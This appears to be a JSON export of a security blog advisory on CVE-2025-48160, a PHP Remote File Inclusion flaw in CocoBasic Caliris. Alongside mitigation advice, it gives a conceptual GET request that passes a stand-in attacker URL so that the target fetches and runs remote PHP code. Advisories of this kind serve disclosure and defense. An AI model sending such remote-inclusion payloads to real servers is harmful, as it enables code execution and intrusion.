{"id":71662,"date":"2025-09-06T02:58:46","date_gmt":"2025-09-06T02:58:46","guid":{"rendered":""},"modified":"2025-09-10T07:22:29","modified_gmt":"2025-09-10T13:22:29","slug":"cve-2025-48160-improper-control-of-filename-for-php-program-in-cocobasic-caliris","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-48160-improper-control-of-filename-for-php-program-in-cocobasic-caliris\/","title":{"rendered":"<strong>CVE-2025-48160: Improper Control of Filename for PHP Program in CocoBasic Caliris<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>This blog post provides an in-depth analysis of the CVE-2025-48160 vulnerability, a serious security flaw that affects CocoBasic Caliris up to and including version 1.5. This vulnerability stems from improper control of the filename for include\/require statements in PHP programs, leading to possible PHP Remote File Inclusion. The <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-55731-sql-injection-vulnerability-in-frappe-framework-leading-to-potential-data-leakage\/\"  data-wpil-monitor-id=\"79292\">potential impact includes system compromise and data<\/a> leakage, making this an issue of high concern for users and administrators of affected systems.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-48160<br \/>\nSeverity: High (CVSS: 8.1)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: Low<br \/>\nUser Interaction: None<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-54788-sql-injection-vulnerability-in-suitecrm-leading-to-potential-system-compromise-or-data-leakage\/\"  data-wpil-monitor-id=\"80236\">System compromise and data<\/a> leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-1549598448\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>CocoBasic Caliris | Up to and including 1.5<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-50870-incorrect-access-control-vulnerability-in-institute-of-current-students-1-0\/\"  data-wpil-monitor-id=\"79311\">vulnerability exploits the improper control<\/a> of filename for include\/require statement in PHP programs, a common issue known as PHP Remote File Inclusion (RFI). RFI occurs when an application includes a PHP file from a remote server, <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-8714-critical-postgresql-vulnerability-allowing-malicious-code-injection-by-superusers\/\"  data-wpil-monitor-id=\"80777\">allowing an attacker to inject code<\/a>.<br \/>\nIn the case of CVE-2025-48160, the affected software does not adequately sanitize user-supplied input for the filename. This lack of proper input validation means that an attacker can include a file from a <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-54135-critical-remote-code-execution-vulnerability-in-cursor-code-editor\/\"  data-wpil-monitor-id=\"79577\">remote server and execute arbitrary PHP code<\/a> within the context of the web server process. This could <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-53763-improper-access-control-in-azure-databricks-leading-to-potential-system-compromise\/\"  data-wpil-monitor-id=\"79792\">lead to unauthorized access<\/a>, disruption of service, or disclosure of sensitive information.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-4080681859\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Here&#8217;s a conceptual example of how the vulnerability might be exploited. Assume that the attacker wants to inject a malicious <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-25174-critical-php-remote-file-inclusion-vulnerability-in-beeteam368-extensions\/\"  data-wpil-monitor-id=\"81105\">PHP file<\/a> located at `http:\/\/malicious.example.com\/badcode.php`:<\/p>\n<pre><code class=\"\" data-line=\"\">GET \/vulnerable.php?file=http:\/\/malicious.example.com\/badcode.php HTTP\/1.1\nHost: target.example.com<\/code><\/pre>\n<p>In this example, the attacker sends a GET <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-52797-critical-cross-site-request-forgery-csrf-vulnerability-in-josepsitjar-storymap\/\"  data-wpil-monitor-id=\"79407\">request to the vulnerable<\/a> script (`vulnerable.php`), passing the URL of the malicious script (`http:\/\/malicious.example.com\/badcode.php`) as a parameter. If the server is configured to allow URL includes, the malicious <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-52478-stored-cross-site-scripting-vulnerability-in-n8n-s-form-trigger-node\/\"  data-wpil-monitor-id=\"79451\">script will be executed when the vulnerable<\/a> script is accessed.<\/p>\n<p><strong>Mitigation Guidance<\/strong><\/p>\n<p>Users of CocoBasic Caliris are advised to update their software to the latest version, which contains a patch for this vulnerability. If an update is not immediately possible, consider using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary mitigation measure. As a best practice, always sanitize user-supplied inputs and avoid using user input directly in include\/require statements.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview This blog post provides an in-depth analysis of the CVE-2025-48160 vulnerability, a serious security flaw that affects CocoBasic Caliris up to and including version 1.5. This vulnerability stems from improper control of the filename for include\/require statements in PHP programs, leading to possible PHP Remote File Inclusion. The potential impact includes system compromise and [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-71662","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/71662","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=71662"}],"version-history":[{"count":9,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/71662\/revisions"}],"predecessor-version":[{"id":73551,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/71662\/revisions\/73551"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=71662"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=71662"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=71662"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=71662"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=71662"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=71662"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=71662"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=71662"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=71662"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}